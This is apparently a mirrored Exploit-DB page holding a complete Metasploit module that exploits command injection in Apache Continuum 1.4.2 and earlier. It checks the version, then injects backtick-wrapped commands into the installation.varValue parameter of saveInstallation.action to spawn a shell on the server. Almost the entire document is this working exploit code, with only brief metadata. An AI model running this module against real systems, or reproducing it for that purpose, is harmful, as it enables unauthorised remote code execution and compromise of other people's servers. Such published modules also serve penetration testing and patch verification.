Apache Continuum – Arbitrary Command Execution (Metasploit)

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• 93 阅读

• 作者： Metasploit
  日期： 2016-06-14
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39945/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Apache Continuum Arbitrary Command Execution',
  'Description'=> %q{
  This module exploits a command injection in Apache Continuum <= 1.4.2.
  By injecting a command into the installation.varValue POST parameter to
  /continuum/saveInstallation.action, a shell can be spawned.
  },
  'Author' => [
  'David Shanahan', # Proof of concept
  'wvu' # Metasploit module
  ],
  'References' => [
  %w{EDB 39886}
  ],
  'DisclosureDate' => 'Apr 6 2016',
  'License'=> MSF_LICENSE,
  'Platform' => 'linux',
  'Arch' => [ARCH_X86, ARCH_X86_64],
  'Privileged' => false,
  'Targets'=> [
  ['Apache Continuum <= 1.4.2', {}]
  ],
  'DefaultTarget'=> 0
  ))
  
  register_options([
  Opt::RPORT(8080)
  ])
  end
  
  def check
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> '/continuum/about.action'
  )
  
  if res && res.body.include?('1.4.2')
  CheckCode::Appears
  elsif res && res.code == 200
  CheckCode::Detected
  else
  CheckCode::Safe
  end
  end
  
  def exploit
  print_status('Injecting CmdStager payload...')
  execute_cmdstager(flavor: :bourne)
  end
  
  def execute_command(cmd, opts = {})
  send_request_cgi(
  'method'=> 'POST',
  'uri' => '/continuum/saveInstallation.action',
  'vars_post' => {
  'installation.name' => Rex::Text.rand_text_alpha(8),
  'installation.type' => 'jdk',
  'installation.varValue' => '`' + cmd + '`'
  }
  )
  end
  
  end
  

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